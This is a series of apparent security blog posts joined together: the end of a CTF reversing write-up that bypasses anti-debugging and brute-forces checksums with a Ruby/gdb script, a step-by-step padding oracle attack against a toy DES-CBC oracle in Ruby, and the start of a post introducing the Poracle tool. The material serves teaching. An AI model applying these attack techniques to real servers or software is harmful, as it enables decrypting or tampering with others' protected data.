I reached this point... maybe 5am on Saturday night? The next hour me and Rylaan and others spent trying to make guesses. We were reasonably sure that the fourth letter was 'r', making the first word 'where'. That would make the tenth character a 'q' and the eleventh a 'u'. That worked out pretty well. And putting a 'u' in the seventh character (since it's much more likely than 'v' or 'w') and making the symbols into spaces made sense. That gave us:

  where u #quen_____ na__?

We also surmised that the last word was 'namE' or 'nAME' or something, but that turned out to be wrong so I won't show that part off. :)

Here is what I had scribbled down at this point.

Before bed, I wrote a quick Ruby script that would bruteforce guess all unknown characters, hoping to guess it by morning. That was also a failure. It barely got anywhere in the three hours I slept.

Checksums

I went to sleep on the hackerspace couch at 6am Saturday night, and woke up at 9am with the idea: "quantum"! "where u quantum name" or something. So I jumped up, ran to the computer, and realized that that made no sense. Crap! But I was already up, may as well work on it more. I spent the next little while updating Mak on my progress and thinking through the next step.

I spent a few hours working on these four checksum values:

1 .text:0040AD41                 mov     dword ptr [rbp-78h], 0FAF7F5FFh ; checksum1
2 .text:0040AD81                 mov     dword ptr [rbp-90h], 0A40121Fh  ; checksum2
3 .text:0040AE00                 mov     dword ptr [rbp-78h], 0FF77F7F6h ; checksum3
4 .text:0040AE4F                 mov     dword ptr [rbp-90h], 0FD9E7F5Fh ; checksum4

I spent hours trying to reverse how those were calculated before finally giving up. I was running out of ideas. I had eleven of the thirteen checks passing, with only the four checksums (in two checks) to go! Gah!

I noticed an interesting property in the checksums, though: the values I was generating were actually quite close to the real ones, compared to what they'd originally been! If I changed a known "good" character to a bad one, it got worse. All I had to do was figure out a way to either generate the checksums myself or pull them from memory! At this point in the game, generating them myself was pretty much outta the question, so I had to find a way to extract them, and quickly!

I won't bore you with the failed attempts, only the successful attempt. It's a Ruby program, and it looks something like this (check out the sweet syntax highlighting, I even highlighted the gdbinit file properly; that wasn't easy!):

  1 def count_bits(i)
  2   bits = 0
  3 
  4   while(i != 0) do
  5     if((i & 1) == 1)
  6       bits += 1
  7     end
  8 
  9     i >>= 1
 10   end
 11 
 12   return bits
 13 end
 14 
 15 def go(str)
 16   puts(" String: '#{str}'")
 17 
 18   # Write the current test string to a file called 'stdin'
 19   File.open("./stdin", "w") do |f|
 20     f.write(str)
 21   end
 22 
 23   File.open("./gdb", "w") do |f|
 24   f.write <<EOF
 25 # Set up the environment
 26 set disassembly-flavor intel
 27 set confirm off
 28 
 29 # Disable the anti-debugging
 30 set environment LD_PRELOAD ./overload.so
 31 
 32 # Read from the "stdin" file, which is where we're writing the data
 33 set args < ./stdin
 34 
 35 # Break at the first check (the length)
 36 b *0x040AC83
 37 run
 38 
 39 # Make all 4 checksums run by forcing jumps to happen
 40 set {char}0x40AD50 = 0xeb
 41 set {char}0x40AE0F  = 0xeb
 42 
 43 # Checksum 1 and 2
 44 set {int}0x040ADD3 = 0x90909090
 45 set {short}0x040ADD7 = 0x9090
 46 
 47 # Checksum 3 and 4
 48 set {int}0x040AEA1 = 0x90909090
 49 set {short}0x040AEA5 = 0x9090
 50 
 51 # TODO: Test once mak finishes the python tool
 52 # Check adjacent characters
 53 set {int}0x040AF08 = 0x90909090
 54 set {short}0x040AF0C = 0x9090
 55 
 56 # Checksum1
 57 b *0x000000000040AD4C
 58 
 59 # Checksum2
 60 b *0x000000000040AD92
 61 
 62 # Checksum3
 63 b *0x000000000040AE0F
 64 
 65 # Checksum4
 66 b *0x000000000040AE60
 67 
 68 cont
 69 
 70 print/x $r15
 71 cont
 72 
 73 print/x $r15
 74 cont
 75 
 76 print/x $r15
 77 cont
 78 
 79 print/x $r15
 80 cont
 81 
 82 # We continue before quitting so we can make sure 'Success!' is printed
 83 quit
 84 
 85 EOF
 86   end
 87 
 88   checksums = []
 89 
 90   # Our list of known-good checksums
 91   good_checksums = [0xFAF7F5FF, 0xA40121F, 0xFF77F7F6, 0xFD9E7F5F]
 92 
 93   # Run gdb with our new config file
 94   IO.popen("gdb -x ./gdb ./cnot") {|p|
 95     loop do
 96       line = p.gets
 97       if(line.nil?)
 98         break
 99       end
100       if(line =~ / = /)
101         checksums << line.gsub(/.* = /, '').chomp.to_i(16)
102       end
103 
104       if(line =~ /Wrong/)
105         puts(line)
106         puts("ERROR!")
107         exit
108       end
109     end
110   }
111 
112   puts(" Expected: %08x %08x %08x %08x" % [good_checksums[0], good_checksums[1], good_checksums[2], good_checksums[3]])
113   puts(" Received: %08x %08x %08x %08x" % [checksums[0],      checksums[1],      checksums[2],      checksums[3]])
114 
115   # Count the different bits and print the difference
116   diff = count_bits(good_checksums[0] ^ checksums[0]) + count_bits(good_checksums[2] ^ checksums[2]) + count_bits(good_checksums[1] ^ checksums[1]) + count_bits(good_checksums[3] ^ checksums[3])
117   puts(" Difference: %d" % diff)
118   puts()
119 
120   # Return the difference so we can save the best one
121   return diff
122 end
123 
124 diffs = {}
125 
126 ?0.upto(?9) do |i|
127   i = i.chr
128 
129   str = "where u #{i}quenTisTs naME?"
130     diff = go(str)
131 
132     diffs[diff] = diffs[diff] || []
133     diffs[diff] << "#{i} :: #{str}"
134   end
135 end
136 
137 # Print the best option(s)
138 i = 0
139 loop do
140   if(!diffs[i].nil?)
141     puts("== #{i} ==\n#{diffs[i].join("\n")}")
142     exit
143   end
144 
145   i += 1
146 end

And in that particular configuration, the program attempts every possible number for the start of the third word:

 1 $ ruby ./cs.rb
 2  String: 'where u 0quenTisTs naME?'
 3  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
 4  Received: fafff5ff 1240021f f377f5e7 fd92ff7f
 5  Difference: 13
 6 
 7  String: 'where u 1quenTisTs naME?'
 8  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
 9  Received: fafff5ff 1240021f f377fde6 fd927fff
10  Difference: 13
11 
12  String: 'where u 2quenTisTs naME?'
13  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
14  Received: fafff5ff 1240021f f377fde6 fd927f7f
15  Difference: 12
16 
17  String: 'where u 3quenTisTs naME?'
18  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
19  Received: fafff5ff 1240021f f777f5f6 fd967f7f
20  Difference: 8
21 
22  String: 'where u 4quenTisTs naME?'
23  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
24  Received: fafff5ff 1240021f f377f5ee ffd27f7f
25  Difference: 14
26 
27  String: 'where u 5quenTisTs naME?'
28  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
29  Received: fbfff5ff 1240021f f37ff5e6 fd927f7f
30  Difference: 13
31 
32  String: 'where u 6quenTisTs naME?'
33  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
34  Received: fafff5ff 1240021f f377fde6 fd927f7f
35  Difference: 12
36 
37  String: 'where u 7quenTisTs naME?'
38  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
39  Received: fefff5ff 1240021f f377f5e6 fd927f7f
40  Difference: 12
41 
42  String: 'where u 8quenTisTs naME?'
43  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
44  Received: fafff5ff 1240021f f3f7f5e6 fdd27f7f
45  Difference: 13
46 
47  String: 'where u 9quenTisTs naME?'
48  Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
49  Received: fafff5ff 1240021f f377f5e6 fd927f7f
50  Difference: 11
51 
52 == 8 ==
53 3 :: where u 3quenTisTs naME?

As you can see, the best result we got from this was eight bits different, and the number '3' (which tuned out to be correct)!

We did this over and over for different letters, occasionally repeating letters if we wound up getting bad results, getting closer. I considered writing an A* search or something, I bet we could have optimized this pretty good, but that turned out to not be necessary. Eventually, I was reasonably sure everything was right except for the last two letters (in 'naME'), so I decided to try every possible pairing:

 1 ?a.upto(?z) do |i|
 2   i = i.chr
 3   ?A.upto(?Z) do |j|
 4     j = j.chr
 5     str = "where u 3quenTisTs na#{i}#{j}?"
 6     diff = go(str)
 7 
 8     diffs[diff] = diffs[diff] || []
 9     diffs[diff] << "#{i} :: #{str}"
10   end
11 end

And eventually, it printed out:

 1 $ ruby cs.rb | tail
 2 Received: 7ef7f7ff 0240221f f7f7f5f6 fd96ffff
 3 Difference: 13
 4 
 5 String: 'where u 3quenTisTs nazZ?'
 6 Expected: faf7f5ff 0a40121f ff77f7f6 fd9e7f5f
 7 Received: 7ef7f5ff 0240421f f777f5fe fd977f7f
 8 Difference: 11
 9 
10 == 0 ==
11 o :: where u 3quenTisTs naoW?

The answer! I punched it into the site, and it worked. omg!!! #bestfeelingever

Conclusion

I realize this was an extremely long writeup, for an extremely elaborate level. It took a long time to solve, and I was exceptionally proud. Did I mention that, at 450 points, it was the most valuable flag in the entire competition?

Just to go over what I had to overcome:

• Anti-debugging
• Anti-reversing (obfuscation)
• More code obfuscation
• A series of "letter n is between x and y" type solutions, instead of actual "this letter is z" solutions
• Crazy checksums that, it turns out, used Fibonacci sequences (I never did reverse them)

And that's cnot in a nutshell. Thanks for reading!

Early last week, I posted a blog about padding oracle attacks. I explained them in detail, as simply as I could (without making diagrams, I suck at diagrams). I asked on Reddit about how I could make it easier to understand, and JoseJimeniz suggested working through an example. I thought that was a neat idea, and working through a padding oracle attack by hand seems like a fun exercise!

(Having done it already and writing this introduction afterwards, I can assure you that it isn't as fun as I thought it'd be :) )

I'm going to assume that you've read my previous blog all the way through, and jump right into things!

The setup

As an example, let's assume we're using DES, since it has nice short block sizes. We'll use the following variables:

  P   = Plaintext (with the padding added)
  Pn  = The nth block of plaintext
  N   = The number of blocks of either plaintext or ciphertext (the number is the same)
  IV  = Initialization vector
  E() = Encrypt, using a given key (we don't notate the key for reasons of simplicity)
  D() = Decrypt, using the same key as E()
  C   = Ciphertext
  Cn  = The nth block of ciphertext

We use the following values for the variables:

  P   = "Hello World\x05\x05\x05\x05\x05"
  P1  = "Hello Wo"
  P2  = "rld\x05\x05\x05\x05\x05"
  N   = 2
  IV  = "\x00\x00\x00\x00\x00\x00\x00\x00"
  E() = des-cbc with the key "mydeskey"
  D() = des-cbc with the key "mydeskey"
  C   = "\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  C1  = "\x83\xe1\x0d\x51\xe6\xd1\x22\xca"
  C2  = "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"

For what it's worth, I generated the ciphertext like this:

  irb(main):001:0>; require 'openssl'
  irb(main):002:0>; c = OpenSSL::Cipher::Cipher.new('des-cbc')
  irb(main):003:0>; c.encrypt
  irb(main):004:0>; c.key = "mydeskey"
  irb(main):005:0>; c.iv = "\x00\x00\x00\x00\x00\x00\x00\x00"
  irb(main):006:0>; data = c.update("Hello World") + c.final
  irb(main):007:0>; data.unpack("H*")
  => ["83e10d51e6d122ca3faf089c7a924a7b"]

Now that we have our variables, let's get started!

Creating an oracle

As I explained in my previous blog, this attack relies on having a decryption oracle that'll return a true/false value depending on whether or not the decryption operation succeeded. Here's a workable oracle that, albeit unrealistic, will be a perfect demonstration:

  irb(main):012:0> def try_decrypt(data)
  irb(main):013:1>   begin
  irb(main):014:2>     c = OpenSSL::Cipher::Cipher.new('des-cbc')
  irb(main):015:2>     c.decrypt
  irb(main):016:2>     c.key = "mydeskey"
  irb(main):017:2>     c.iv = "\x00\x00\x00\x00\x00\x00\x00\x00"
  irb(main):018:2>     c.update(data)
  irb(main):019:2>     c.final
  irb(main):020:2>     return true
  irb(main):021:2>   rescue OpenSSL::Cipher::CipherError
  irb(main):022:2>     return false
  irb(main):023:2>   end
  irb(main):024:1> end

As you can see, it returns true if we send C:

  irb(main):025:0> try_decrypt("\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a
  \x92\x4a\x7b")
  => true

And false if we flip the last bit of C (effectively changing the padding):

  irb(main):026:0> try_decrypt("\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a
   \x92\x4a\x7a")
  => false

Now we have our data, our encrypted data, and a simple oracle. Let's get to work!

Breaking the last character

Now, let's start with breaking the second block of ciphertext, C₂. The first thing we do is create our own block of ciphertext — C′ — which has no particular plaintext value:

  C′ = "\x00\x00\x00\x00\x00\x00\x00\x00"

In reality, we can use any value, but all zeroes makes it easier to demonstrate. We concatenate C₂ to that block, giving us:

  C′ || C2 = "\x00\x00\x00\x00\x00\x00\x00\x00\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"

We now have a two-block string of ciphertext. When you send that string to the oracle, the oracle will, following the cipher-block chaining standard: a) decrypt the second block, b) XOR the decrypted block with the ciphertext block that we control, and c) check the padding on the resulting block and fail if it's wrong. Read that sentence a couple times. If you need to know one thing to understand padding oracles, it's that.

Let me repeat and rephrase, to make sure it's clear: We send two blocks of ciphertext, one we control (C′) and one we want to decrypt (C₂). The one we want to decrypt (C₂) is decrypted (secretly) by the server, XORed with the block we control (C′), then the resulting plaintext's padding is validated. That means that we know whether or not our ciphertext XORed with their plaintext has proper padding. That gives us enough information to decrypt the entire string, one character after the other!

This will, of course, work for blocks other than C₂ (which I notate as C_n in the previous blog). I'm using C₂ because I'm working through a concrete example.

So, we generate that string (C′ || C₂). We send that to our decryption oracle, and should return a false result (unless we hit the 1/256 chance of getting the padding right at random, which we don't):

  irb(main):027:0> try_decrypt("\x00\x00\x00\x00\x00\x00\x00\x00\x3f\xaf\x08\x9c
   \x7a\x92\x4a\x7b")
  => false

Now, keep in mind that this isn't decrypting to anything remotely useful! It's decrypting to a garbage string, and all that matters to us is whether or not the padding is correct, because that, thanks to a beautiful formula, tells us something about the plaintext.

Let's now focus on just the last character of C′. Before we get to the math, let's find the value for the last byte of C′ — C′[8] — that returns valid padding, using a simple ruby script:

  irb(main):067:0> 0.upto(255) do |i|
  irb(main):068:1*   cprime = "\x00\x00\x00\x00\x00\x00\x00#{i.chr}" +
   "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):069:1>   puts("#{i}: #{cprime.unpack("H*")}: #{try_decrypt(cprime)}")
  irb(main):070:1> end
  0: 00000000000000003faf089c7a924a7b: false
  1: 00000000000000013faf089c7a924a7b: false
  2: 00000000000000023faf089c7a924a7b: false
  3: 00000000000000033faf089c7a924a7b: false
  4: 00000000000000043faf089c7a924a7b: false
  5: 00000000000000053faf089c7a924a7b: false
  6: 00000000000000063faf089c7a924a7b: false
  7: 00000000000000073faf089c7a924a7b: false
  ...
  203: 00000000000000cb3faf089c7a924a7b: false
  204: 00000000000000cc3faf089c7a924a7b: false
  205: 00000000000000cd3faf089c7a924a7b: false
  206: 00000000000000ce3faf089c7a924a7b: true   <--
  207: 00000000000000cf3faf089c7a924a7b: false
  208: 00000000000000d03faf089c7a924a7b: false
  ...

So what did we learn here? That when C′[8] is 206 — 0xce — it decrypts to something that ends with the byte "\x01". We can see what it's decrypting to by using some more ruby code (note that this isn't possible in a normal attack, since we don't have access to the key, this is simply used as a demonstration):

  irb(main):075:0> puts (c.update("\x00\x00\x00\x00\x00\x00\x00\xce\x3f\xaf\x08\x9c
  \x7a\x92\x4a\x7b") + c.final).unpack("H*")
  62047db89b8144b8f18d6954e3d427

Note that this string is 15 characters long, and doesn't end with \x01. Why? Because the "\x01" on the end was considered to be padding by the library and removed. OpenSSL doesn't return padding to the programmer — why would it?

We refer to this garbage string as P′, and it's not useful to us in any way, except for the padding byte that the server validates. In fact, since the server is decrypting the string secretly, we never even have access to P′.

(For what it's worth, P′ is actually equal to the original block of plaintext (P₂) XORed with the previous block of ciphertext (C₁) and XORed with our ciphertext block (C′). If you work through the math, you'll discover why).

The math

Recall from my previous blog that the second block of our new plaintext value — P′₂ — is calculated like this:

  P′2 = D(C2) ⊕ C′

That is, the second block of P′ — our newly and secretly decrypted string — is equal to the second block of the ciphertext decrypted, then XORed with C′.

But C₂ was originally calculated like this:

  C2 = E(P2 ⊕ C1)

In other words, the second block of ciphertext is the second block of plaintext XORed with the first block of ciphertext, then encrypted.

We can substitute C₂ in the first formula with C₂ in the second formula, which results in this:

  P′2 = D(E(P2 ⊕ C1)) ⊕ C′

So, the server calculates P₂ XORed with C₁, then encrypts it, decrypts it, and XORs it with C′. But the encryption and decryption cancel out (D(E(x)) = x, by definition), so we can reduce the formula to this:

  P′2 = P2 ⊕ C1 ⊕ C′

So P′₂ — the value whose padding we're trying to discover — is the second block of plaintext XORed with the first block of ciphertext, XORed with our ciphertext (C′).

What do we know about P′₂? Well, once we discover the proper padding value, the server knows that the value of P′₂ is "\xf1\x8d\x69\x54\xe3\xd4\x27\x01". Unfortunately, all we know is that the padding is correct, and that P′₂[8] = "\x01". But, since we know the value of P′₂[8], we know enough to calculate P₂[8]! Here's the calculation:

  P′2[8] = P2[8] ⊕ C1[8] ⊕ C′[8]
  (re-arrange using XOR's commutative property):
  P2[8] = P′2[8] ⊕ C1[8] ⊕ C′[8]
  P2[8] = 0x01 ⊕ 0xca ⊕ 0xce
  P2[8] = 5

Holy crap! 5 is the last byte of padding! We just broke the last byte of plaintext!

The value we know for P₂ is "???????\x05"

Second-last byte...

Now, to calculate the second-last byte, we need a new P′. We want the last byte of P′ to decrypt to 0x02 (so that our padding will wind up as "\x02\x02" once we bruteforce the second-last byte), so we use this formula from earlier:

  P′2[k] = P2[k] ⊕ C1[k] ⊕ C′[k]

And re-arrange it:

  C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]

Then plug in the values we determined for P₂[8] ⊕ C₁[8], and the value we desire for P′₂[8]:

  C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
  C′[8] = 0x02 ⊕ 0x05 ⊕ 0xca
  C′[8] = 0xcd

Now we have the last character of C′: 0xcd. We use the same loop from earlier, except guessing C′[7] instead of C′[8]:

  irb(main):076:0> 0.upto(255) do |i|
  irb(main):077:1>   cprime = "\x00\x00\x00\x00\x00\x00#{i.chr}\xcd" +
  "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):078:1>   puts("#{i}: #{cprime.unpack("H*")}: #{try_decrypt(cprime)}")
  irb(main):079:1> end
  ...
  36: 00000000000024cd3faf089c7a924a7b: false
  37: 00000000000025cd3faf089c7a924a7b: true
  38: 00000000000026cd3faf089c7a924a7b: false
  ...

All right, now we know that when C′[7] = 0x25, P′₂[7] = 0x02! Plug that back into our formula:

  P2[7] = P′2[7] ⊕ C1[7] ⊕ C′[7]
  P2[7] = 0x02 ⊕ 0x22 ⊕ 0x25
  P2[7] = 5

Boom! Now we know that the second-last character of P₂ is 5.

The value we know for P₂ is "??????\x05\x05"

Third-last character

Let's keep going! First, we calculate C′[7] and C′[8] such that P′ will end with "\x03\x03":

  C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]

  C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
  C′[8] = 0x03 ⊕ 0x05 ⊕ 0xca
  C′[8] = 0xcc

  C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
  C′[7] = 0x03 ⊕ 0x05 ⊕ 0x22
  C′[7] = 0x24

And run our program (modified a bit to just show us what's interesting):

  irb(main):088:0> 0.upto(255) do |i|
  irb(main):089:1>   cprime = "\x00\x00\x00\x00\x00#{i.chr}\x24\xcc" +
  "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):090:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
  irb(main):091:1> end
  215: 0000000000d724cc3faf089c7a924a7b

And back to our formula:

  P2[6] = P′2[6] ⊕ C1[6] ⊕ C′[6]
  P2[6] = 0x03 ⊕ 0xd1 ⊕ 0xd7
  P2[6] = 5

The value we know for P₂ is "?????\x05\x05\x05"

Fourth-last character

Calculate the C′ values for \x04\x04\x04:

  C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]

  C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
  C′[8] = 0x04 ⊕ 0x05 ⊕ 0xca
  C′[8] = 0xcb

  C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
  C′[7] = 0x04 ⊕ 0x05 ⊕ 0x22
  C′[7] = 0x23

  C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
  C′[6] = 0x04 ⊕ 0x05 ⊕ 0xd1
  C′[6] = 0xd0

And our program:

  irb(main):092:0> 0.upto(255) do |i|
  irb(main):093:1>   cprime = "\x00\x00\x00\x00#{i.chr}\xd0\x23\xcb" +
  "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):094:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
  irb(main):095:1> end
  231: 00000000e7d023cb3faf089c7a924a7b

And breaking it:

  P2[5] = P′2[5] ⊕ C1[5] ⊕ C′[5]
  P2[5] = 0x04 ⊕ 0xe6 ⊕ 0xe7
  P2[5] = 5

The value we know for P₂ is "????\x05\x05\x05\x05"

Fifth-last character

Time for the last padding character! Calculate C′ values for \x05\x05\x05\x05:

  C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]

  C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
  C′[8] = 0x05 ⊕ 0x05 ⊕ 0xca
  C′[8] = 0xca

  C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
  C′[7] = 0x05 ⊕ 0x05 ⊕ 0x22
  C′[7] = 0x22

  C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
  C′[6] = 0x05 ⊕ 0x05 ⊕ 0xd1
  C′[6] = 0xd1

  C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
  C′[5] = 0x05 ⊕ 0x05 ⊕ 0xe6
  C′[5] = 0xe6

Run the program:

  irb(main):096:0> 0.upto(255) do |i|
  irb(main):097:1*   cprime = "\x00\x00\x00#{i.chr}\xe6\xd1\x22\xca" +
 "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):098:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
  irb(main):099:1> end
  81: 00000051e6d122ca3faf089c7a924a7b

And break the character:

  P2[4] = P′2[4] ⊕ C1[4] ⊕ C′[4]
  P2[4] = 0x05 ⊕ 0x51 ⊕ 0x51
  P2[4] = 5

The value we know for P₂ is "???\x05\x05\x05\x05\x05"

Sixth-last character

Only three to go! Calculate C′ for \x06\x06\x06\x06\x06:

  C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]

  C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
  C′[8] = 0x06 ⊕ 0x05 ⊕ 0xca
  C′[8] = 0xc9

  C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
  C′[7] = 0x06 ⊕ 0x05 ⊕ 0x22
  C′[7] = 0x21

  C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
  C′[6] = 0x06 ⊕ 0x05 ⊕ 0xd1
  C′[6] = 0xd2

  C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
  C′[5] = 0x06 ⊕ 0x05 ⊕ 0xe6
  C′[5] = 0xe5

  C′[4] = P′2[4] ⊕ P2[4] ⊕ C1[4]
  C′[4] = 0x06 ⊕ 0x05 ⊕ 0x51
  C′[4] = 0x52

Run the program:

  irb(main):100:0> 0.upto(255) do |i|
  irb(main):101:1*   cprime = "\x00\x00#{i.chr}\x52\xe5\xd2\x21\xc9" +
  "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):102:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
  irb(main):103:1> end
  111: 00006f52e5d221c93faf089c7a924a7b

Break the character:

  P2[3] = P′2[3] ⊕ C1[3] ⊕ C′[3]
  P2[3] = 0x06 ⊕ 0x0d ⊕ 0x6f
  P2[3] = 0x64 = "d"

The value we know for P₂ is "??d\x05\x05\x05\x05\x05"

Two left!

Only two left! Time to calculate C′ for "\x07\x07\x07\x07\x07\x07":

  C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]

  C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
  C′[8] = 0x07 ⊕ 0x05 ⊕ 0xca
  C′[8] = 0xc9

  C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
  C′[7] = 0x07 ⊕ 0x05 ⊕ 0x22
  C′[7] = 0x21

  C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
  C′[6] = 0x07 ⊕ 0x05 ⊕ 0xd1
  C′[6] = 0xd2

  C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
  C′[5] = 0x07 ⊕ 0x05 ⊕ 0xe6
  C′[5] = 0xe5

  C′[4] = P′2[4] ⊕ P2[4] ⊕ C1[4]
  C′[4] = 0x07 ⊕ 0x05 ⊕ 0x51
  C′[4] = 0x52

  C′[3] = P′2[3] ⊕ P2[3] ⊕ C1[3]
  C′[3] = 0x07 ⊕ 0x64 ⊕ 0x0d
  C′[3] = 0x52

The program:

  irb(main):104:0> 0.upto(255) do |i|
  irb(main):105:1*   cprime = "\x00#{i.chr}\x6e\x53\xe4\xd3\x20\xc8" +
  "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):106:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
  irb(main):107:1> end
  138: 008a6e53e4d320c83faf089c7a924a7b

The calculation:

  P2[2] = P′2[2] ⊕ C1[2] ⊕ C′[2]
  P2[2] = 0x07 ⊕ 0xe1 ⊕ 0x8a
  P2[2] = 0x6c = "l"

The value we know for P₂ is "?ld\x05\x05\x05\x05\x05"

Last block!

For the last block — and the last time I ever do a padding oracle calculation by hand — we calculate C′ for "\x08\x08\x08\x08\x08\x08\x08":

  C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]

  C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
  C′[8] = 0x08 ⊕ 0x05 ⊕ 0xca
  C′[8] = 0xc7

  C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
  C′[7] = 0x08 ⊕ 0x05 ⊕ 0x22
  C′[7] = 0x2f

  C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
  C′[6] = 0x08 ⊕ 0x05 ⊕ 0xd1
  C′[6] = 0xdc

  C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
  C′[5] = 0x08 ⊕ 0x05 ⊕ 0xe6
  C′[5] = 0xeb

  C′[4] = P′2[4] ⊕ P2[4] ⊕ C1[4]
  C′[4] = 0x08 ⊕ 0x05 ⊕ 0x51
  C′[4] = 0x5c

  C′[3] = P′2[3] ⊕ P2[3] ⊕ C1[3]
  C′[3] = 0x08 ⊕ 0x64 ⊕ 0x0d
  C′[3] = 0x61

  C′[2] = P′2[2] ⊕ P2[2] ⊕ C1[2]
  C′[2] = 0x08 ⊕ 0x6c ⊕ 0xe1
  C′[2] = 0x85

Then the program:

  irb(main):112:0> 0.upto(255) do |i|
  irb(main):113:1*   cprime = "#{i.chr}\x85\x61\x5c\xeb\xdc\x2f\xc7" +
  "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  irb(main):114:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
  irb(main):115:1> end
  249: f985615cebdc2fc73faf089c7a924a7b

And, finally, we calculate the character one last time:

  P2[1] = P′2[1] ⊕ C1[1] ⊕ C′[1]
  P2[1] = 0x08 ⊕ 0x83 ⊕ 0xf9
  P2[1] = 0x72 = "r"

The value we know for P₂ is "rld\x05\x05\x05\x05\x05"

Conclusion

So, you've seen the math behind how we can decrypt a full block of a CBC cipher (specifically, DES) using only a padding oracle. The previous block would be decrypted the exact same way, and would wind up as "Hello Wo".

Hopefully this demonstration will help you understand what's going on! Padding oracles, once you really understand them, are one of the simplest vulnerabilities to exploit!

This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. You can grab the Poracle tool on Github!

At my previous job — Tenable Network Security — one of the first tasks I ever had was to write a vulnerability check for MS10-070 — a padding oracle vulnerability in ASP.net. It's an interesting use of a padding oracle vulnerability, since it leads to code execution, but this blog is going to be a more general overview of padding oracles. When I needed to test this vuln, I couldn't find a good writeup on how they work. The descriptions I did find were very technical and academic, which I'm no good at. In fact, when it comes to reading academic papers, I'm clueless and easily frightened. But, I struggled through them, and now I'm gonna give you a writeup that even I'd be able to understand!

By the way, the Wikipedia page for this attack isn't very good. If somebody wants to summarize my blog and make it into a Wikipedia page, there's now a source you can reference. :)

On a related note, I'm gonna be speaking at Shmoocon in February: "Crypto: You're doing it wrong". Among other things, I plan to talk about padding oracles and hash extension attacks — I'm really getting into this crypto thing!

Overview

Padding oracle attacks — also known as Vaudenay attacks — were originally published in 2002 by Serge Vaudenay. As I mentioned earlier, in 2010 it was used for code execution in ASP.net.

First, let's look at the definition of an "oracle". This has nothing to do with the Oracle database or the company that makes Java — they have enough vulnerabilities of their own without this one (well, actually, Java Server Faces ironically suffered from a padding oracle vulnerability, but I think that's before Oracle owned them). In cryptography, an oracle — much like the Oracle of Delphi — is a system that will perform given cryptographic operations on behalf of the user (otherwise known as the attacker). A padding oracle is a specific type of oracle that will take encrypted data from the user, attempt to decrypt it privately, then reveal whether or not the padding is correct. We'll get into what padding is and why it matters soon enough.

Example

Okay, so we need an oracle that will decrypt arbitrary data, secretly. When the heck does that happen?

Well, it turns out, it happens a lot. Every time there's an encrypted connection, in fact, one side is sending the other data that the latter attempts to decrypt. Of course, to do anything interesting in that situation, it requires a man-in-the-middle attack — or something similar — and a protocol that allows unlimited retries to actually be interesting. For the purposes of simplicity, let's look at something easier.

Frequently — in a practice that I don't think is a great idea — a Web server will entrust a client with encrypted data in either a cookie or a hidden field. The advantage to doing this is that the server doesn't need to maintain state — the client holds the state. The disadvantage is that, if the client can find a way to modify the encrypted data, they can play with private state information. Not good. In the case of ASP.net, this was enough to read/write to the filesystem.

